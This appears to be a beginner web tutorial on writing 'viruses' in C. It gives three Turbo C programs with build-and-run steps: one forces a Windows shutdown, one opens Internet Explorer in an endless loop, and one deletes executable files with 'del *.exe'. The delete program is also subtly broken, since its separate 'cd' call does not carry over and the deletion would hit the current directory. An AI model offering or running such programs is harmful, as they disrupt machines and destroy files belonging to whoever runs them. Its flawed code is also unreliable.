How to create virus in c? Create simple virus by c programming language.

(1) Write c program which shutdown the window operating system?Answer:Step 1: Write the following program in TURBO C.void main (void){ system("shutdown -s");}Step 2: Save the above file. Let file name is close.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (close.exe)After some time your window operating system will shutdown.(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?Answer:Step 1: Write the following program in TURBO C.void main (void){for(; ;){system("c:\\progra~1\\intern~1\\iexplore.exe");}}Step 2: Save the above file. Let file name is internet.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (internet.exe)(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?Answer:Step 1: Write the following program in TURBO C.void main(void){system("cd c:\\progra~1\\intern~1");system(“del *.exe”);system(“cls”);}Step 2: Save the above file. Let file name is delete.c Step 3: Only compile the above program.Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin) Step 5: Double click on its .exe file (delete.exe)